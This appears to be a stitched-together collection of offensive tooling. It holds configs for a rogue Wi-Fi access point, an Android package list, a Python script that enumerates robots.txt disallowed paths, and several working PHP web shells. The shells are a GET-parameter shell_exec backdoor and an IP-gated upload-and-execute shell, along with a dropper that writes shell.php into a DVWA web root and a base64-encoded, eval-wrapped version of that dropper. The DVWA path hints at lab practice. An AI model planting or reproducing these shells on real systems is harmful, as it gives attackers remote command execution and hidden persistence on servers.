./autopwn

ssid=Henk
channel=1
wpa=2
wpa_passphrase=qwertyuiop
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
interface=wlan0
driver=nl80211
hw_mode=g

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.149;
  option domain-name-servers 8.8.8.8, 8.8.4.4;
  option routers 10.0.0.1;
}

INTERFACES=""

INTERFACES="wlan0"

packages=android
com.andrew.apollo
com.android.backupconfirm
com.android.bluetooth
com.android.browser
com.android.calculator2
com.android.calendar
com.android.cellbroadcastreceiver
com.android.certinstaller
com.android.contacts
com.android.defcontainer
com.android.deskclock
com.android.development
com.android.dreams.basic
com.android.dreams.phototable
com.android.email
com.android.exchange
com.android.galaxy4
com.android.gallery3d
com.android.htmlviewer
com.android.inputdevices
com.android.inputmethod.latin
com.android.keychain
com.android.location.fused
com.android.magicsmoke
com.android.mms
com.android.musicvis
com.android.noisefield
com.android.packageinstaller
com.android.phasebeam
com.android.phone
com.android.providers.applications
com.android.providers.calendar
com.android.providers.contacts
com.android.providers.downloads
com.android.providers.downloads.ui
com.android.providers.drm
com.android.providers.media
com.android.providers.settings
com.android.providers.telephony
com.android.providers.userdictionary
com.android.provision
com.android.settings
com.android.sharedstoragebackup
com.android.smspush
com.android.soundrecorder
com.android.stk
com.android.systemui
com.android.vending
com.android.voicedialer
com.android.vpndialogs
com.android.wallpaper.holospiral
com.android.wallpaper.livepicker
com.bel.android.dspmanager
com.cyanogenmod.lockclock
com.cyanogenmod.trebuchet
com.cyanogenmod.updater
com.djinnworks.StickStuntBiker2.free
com.google.android.apps.uploader
com.google.android.backup
com.google.android.ears
com.google.android.feedback
com.google.android.gm
com.google.android.gms
com.google.android.gsf
com.google.android.gsf.login
com.google.android.location
com.google.android.marvin.talkback
com.google.android.onetimeinitializer
com.google.android.partnersetup
com.google.android.setupwizard
com.google.android.syncadapters.bookmarks
com.google.android.syncadapters.calendar
com.google.android.syncadapters.contacts
com.google.android.talk
com.google.android.voicesearch
com.hyperkani.stuntcarchallenge
com.icemobile.tweakers
com.king.candycrushsaga
com.leftover.CoinDozer
com.omgpop.dstfree
com.supportware.Buienradar
com.svox.pico
com.tmobile.themechooser
com.tmobile.thememanager
com.zynga.draw2.googleplay.free
de.lotum.whatsinthefoto.us
jackpal.androidterm
net.cactii.flash2

#!/usr/bin/env python

#############################################
# GetRobots - Get titles for all            #
# robots.txt URI's.                         #
# Author: Slurpgeit                         #
# Github: https://github.com/Slurpgeit      #
#############################################

## Imports
import sys
import urllib2
import time
import socket

# Check for BeautifulSoup
try:
    from bs4 import BeautifulSoup
except:
    print 'Please install the BS4 python module.'
    sys.exit()

## Basic stuff
# The helptext
helptext = """\
==========\n\
GetRobots\n\
==========\n\
Usage: """ + sys.argv[0] + """ -u <url> <options>\n\
    -u <url>        The URL to use\n\
    -P <ip>:<port>      Use HTTP proxy\n\
    -t <timeout>        Timeout (Default is 1 second)
    -v          Verbose (Show HTTP errors)
    -h          Display this help\
"""

# See if URL is set
try:
    url = urllib2.unquote(sys.argv[sys.argv.index('-u') + 1])
    if ('http://' not in url) and ('https://' not in url):
        url = 'http://' + url
except:
    print helptext
    sys.exit()

# Check if URL resolves
try:
    rawurl = url.strip('http://')
    rawurl = url.strip('https://')
    socket.gethostbyname(rawurl)
except:
    print '\033[91m[-]\033[0m Could not revolve "' + url + '"'
    sys.exit()

# Parse command line
if ('-h' in sys.argv) or ('--help' in sys.argv):
    print helptext
    sys.exit()

if '-P' in sys.argv:
    proxyaddr = urllib2.unquote(sys.argv[sys.argv.index('-P') + 1])
    proxy = urllib2.ProxyHandler({'http': proxyaddr})
    opener = urllib2.build_opener(proxy)
    urllib2.install_opener(opener)

if '-t' in sys.argv:
    timeout = int(urllib2.unquote(sys.argv[sys.argv.index('-t') + 1]))
else:
    timeout = 1

if '-v' in sys.argv:
    verbose = 1

## Functions
# Get all "Disallow: " lines
def getdisallow(url):
    disallow = []
    try:
        req = urllib2.urlopen(url + '/robots.txt')
        status = req.getcode()
        print '\033[92m[+]\033[0m ' + str(status) + ' | robots.txt'

    except Exception, error:
        try:
            print '\033[91m[-]\033[0m ' + str(error.code) + ' | robots.txt'
        except:
            print '\033[91m[-]\033[0m Error: ' + str(error)
        sys.exit()
    
    robots = req.readlines()
    for line in robots:
        if 'Disallow:' in line:
            if ('Disallow: /\n' not in line) and ('Disallow: /*\n' not in line):
                disallow.append(line)
    return disallow

# Get all URI titles
def getcontent(uri):
    for uri in uris:
        try:
            req = urllib2.urlopen(url + uri)
            status = str(req.getcode())
            html = BeautifulSoup(req)
            try:
                title = html.title.string
                title = title.strip('\n')
                title = title.strip('\t')
            except:
                title = 'No title'

            print '\033[92m[+]\033[0m ' + status + ' | ' + uri.rstrip() + ' | "' + title.rstrip() + '" | ' + url + uri.rstrip()
        except urllib2.URLError, error:
            try:
                if verbose:
                    print '\033[91m[-]\033[0m ' + str(error.code) + ' | ' + uri.rstrip()
            except:
                pass
        time.sleep(timeout)

## Running code
# Fill 'uris' array
uris = []
disallow = getdisallow(url)

if not disallow:
    print 'No "Disallow:" entries in robots.txt.'
else:
    for entry in disallow:
        entry = entry.strip('Disallow: ')
        uris.append(entry)

# Request all URI's
getcontent(uris)

<?php echo "<pre>".htmlentities(shell_exec($_GET['cmd']))."</pre>"; ?>

<?php error_reporting(0);if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";$fs=$_FILES['f'];if (isset($fs)){move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);echo" Upped!";}$gc=$_POST['c'];echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>

<?php 
error_reporting(0);

if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){
    $he=htmlentities;
    $fo="<form method=post ";
    $it=" <input type=";
    
    echo $fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";
    
    $fs=$_FILES['f'];
    if (isset($fs)){
        move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);
        echo" Upped!";
    }
    
    $gc=$_POST['c'];
    echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";
    if(isset($gc)){
        echo"<pre>".$he(`$gc 2>&1`)."</pre>";
    }
}
?>

<? phpinfo() ?>

<?php error_reporting(0);if($_SERVER['REMOTE_ADDR']=='192.168.1.202'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value='".$he(str_replace('\\','/',getcwd()))."'>".$it."submit value=Up>";$fs=$_FILES['f'];if (isset($fs)){move_uploaded_file($fs['tmp_name'],$_POST['l'].'/'.$fs['name']);echo" Upped!";}$gc=$_POST['c'];echo"</form>".$fo.">".$it."text name=c value='".$he($gc)."'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>

<?php error_reporting(0);if($_SERVER[\'REMOTE_ADDR\']==\'192.168.1.202\'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value=\'".$he(str_replace(\'\\\\\',\'/\',getcwd()))."\'>".$it."submit value=Up>";$fs=$_FILES[\'f\'];if (isset($fs)){move_uploaded_file($fs[\'tmp_name\'],$_POST[\'l\'].\'/\'.$fs[\'name\']);echo" Upped!";}$gc=$_POST[\'c\'];echo"</form>".$fo.">".$it."text name=c value=\'".$he($gc)."\'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>

fwrite(fopen('/var/www/dvwa/shell.php', 'w'), '<?php error_reporting(0);if($_SERVER[\'REMOTE_ADDR\']==\'192.168.1.202\'){$he=htmlentities;$fo="<form method=post ";$it=" <input type=";echo$fo."enctype=multipart/form-data>".$it."file name=f> To: ".$it."text name=l value=\'".$he(str_replace(\'\\\\\',\'/\',getcwd()))."\'>".$it."submit value=Up>";$fs=$_FILES[\'f\'];if (isset($fs)){move_uploaded_file($fs[\'tmp_name\'],$_POST[\'l\'].\'/\'.$fs[\'name\']);echo" Upped!";}$gc=$_POST[\'c\'];echo"</form>".$fo.">".$it."text name=c value=\'".$he($gc)."\'>".$it."submit value=Execute>";if(isset($gc)){echo"<pre>".$he(`$gc 2>&1`)."</pre>";}}?>');

<?php eval(base64_decode('ZndyaXRlKGZvcGVuKCcvdmFyL3d3dy9kdndhL3NoZWxsLnBocCcsICd3JyksICc8P3BocCBlcnJvcl9yZXBvcnRpbmcoMCk7aWYoJF9TRVJWRVJbXCdSRU1PVEVfQUREUlwnXT09XCcxOTIuMTY4LjEuMjAyXCcpeyRoZT1odG1sZW50aXRpZXM7JGZvPSI8Zm9ybSBtZXRob2Q9cG9zdCAiOyRpdD0iIDxpbnB1dCB0eXBlPSI7ZWNobyRmby4iZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPiIuJGl0LiJmaWxlIG5hbWU9Zj4gVG86ICIuJGl0LiJ0ZXh0IG5hbWU9bCB2YWx1ZT1cJyIuJGhlKHN0cl9yZXBsYWNlKFwnXFxcXFwnLFwnL1wnLGdldGN3ZCgpKSkuIlwnPiIuJGl0LiJzdWJtaXQgdmFsdWU9VXA+IjskZnM9JF9GSUxFU1tcJ2ZcJ107aWYgKGlzc2V0KCRmcykpe21vdmVfdXBsb2FkZWRfZmlsZSgkZnNbXCd0bXBfbmFtZVwnXSwkX1BPU1RbXCdsXCddLlwnL1wnLiRmc1tcJ25hbWVcJ10pO2VjaG8iIFVwcGVkISI7fSRnYz0kX1BPU1RbXCdjXCddO2VjaG8iPC9mb3JtPiIuJGZvLiI+Ii4kaXQuInRleHQgbmFtZT1jIHZhbHVlPVwnIi4kaGUoJGdjKS4iXCc+Ii4kaXQuInN1Ym1pdCB2YWx1ZT1FeGVjdXRlPiI7aWYoaXNzZXQoJGdjKSl7ZWNobyI8cHJlPiIuJGhlKGAkZ2MgMj4mMWApLiI8L3ByZT4iO319Pz4nKTs=')); ?>